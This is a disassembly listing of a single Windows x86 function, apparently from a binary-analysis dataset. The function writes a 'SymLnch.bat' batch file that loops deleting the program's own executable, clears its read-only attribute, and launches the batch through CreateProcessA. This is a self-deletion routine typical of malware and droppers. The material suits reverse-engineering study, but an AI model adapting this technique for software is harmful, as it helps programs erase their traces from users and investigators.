Function at 0x401eb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x409e88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x74
mov edx, dword [0x40ed54]
push ebx
push ebp
push esi
xor eax, eax
push edi
mov ecx, 0x11
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov ecx, 0x40ed54
mov dword [esp + 0x34], eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [esp + 0x10], esi
mov ebx, dword [esi - 4]
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, ebx
sub eax, 0x104
or eax, ecx
mov dword [esp + 0x8c], 0
jge 0x401f37
push 0x104
lea ecx, [esp + 0x14]
call fcn.00401360
mov esi, dword [esp + 0x10]
push esi
push 0x104
call fcn.00402680
add esp, 8
test esi, esi
jne 0x401f4d
xor eax, eax
jmp 0x401f5b
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f52
sub eax, edx
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
cmp dword [esi - 4], 1
jle 0x401f79
mov eax, dword [esi - 0xc]
push eax
lea ecx, [esp + 0x14]
call fcn.00401270
mov esi, dword [esp + 0x10]
push esi
call fcn.00402640
add esp, 4
test esi, esi
jne 0x401f8a
xor eax, eax
jmp 0x401f99
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f90
sub eax, edx
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
mov eax, str.SymLnch.bat
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401fa8
sub eax, edx
push eax
push str.SymLnch.bat
lea ecx, [esp + 0x18]
call fcn.00401d10
mov ebp, dword [esp + 0x10]
push 0
push 0x8000080
push 2
push 0
push 0
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402254
mov edx, dword [0x40ed54]
mov ecx, 0x40ed54
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [0x40ed54]
mov ecx, 0x40ed54
mov byte [esp + 0x8c], 1
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [esp + 0x18], esi
mov edx, dword [0x40ed54]
mov ecx, 0x40ed54
mov byte [esp + 0x8c], 2
call dword [edx + 0xc]
lea ebx, [eax + 0x10]
mov dword [esp + 0x20], ebx
mov eax, dword [0x40ed54]
mov ecx, 0x40ed54
mov byte [esp + 0x8c], 3
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x1c], eax
mov eax, dword [esi - 4]
mov ecx, 1
sub ecx, eax
mov eax, dword [esi - 8]
sub eax, 0x104
or eax, ecx
mov byte [esp + 0x8c], 4
jge 0x402082
push 0x104
lea ecx, [esp + 0x1c]
call fcn.00401360
mov esi, dword [esp + 0x18]
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test esi, esi
jne 0x402098
xor eax, eax
jmp 0x4020a9
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4020a0
sub eax, edx
mov ecx, dword [esp + 0x1c]
push ecx
push ebx
push ebp
push esi
push esi
lea edx, [esp + 0x28]
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___s__r_n
mov dword [esi - 0xc], eax
push edx
mov byte [eax + esi], 0
call fcn.00401d90
mov ecx, dword [esp + 0x30]
mov eax, dword [ecx - 0xc]
add esp, 0x1c
push 0
lea edx, [esp + 0x28]
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
mov edi, 1
push esi
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], edi
mov word [esp + 0x6c], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0xfffffffe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 4], edi
jle 0x402136
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [esp + 0x14]
call fcn.00401270
mov ebp, dword [esp + 0x10]
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x3c]
push edx
push 0x40a2fc
push 0
push 0x44
push 0
push 0
push 0
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4021a1
mov eax, dword [esp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xfffffffffffffff1
push eax
call edi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
push 0x80
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov ecx, dword [esp + 0x28]
push ecx
call ebx
mov edx, dword [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x2c]
push eax
call ebx
test ebp, ebp
jne 0x4021a9
xor eax, eax
jmp 0x4021b9
mov eax, ebp
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021b0
sub eax, edx
mov dword [ebp - 0xc], eax
mov byte [eax + ebp], 0
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov byte [esp + 0x8c], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4021e6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
mov byte [esp + 0x8c], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40220c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
add esi, 0xfffffff0
mov byte [esp + 0x8c], 1
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40222e
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call dword [edx + 4]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x8c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402254
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
add ebp, 0xfffffff0
mov dword [esp + 0x8c], 0xffffffff
lea eax, [ebp + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40227a
mov ecx, dword [ebp]
mov edx, dword [ecx]
push ebp
call dword [edx + 4]
mov ecx, dword [esp + 0x84]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret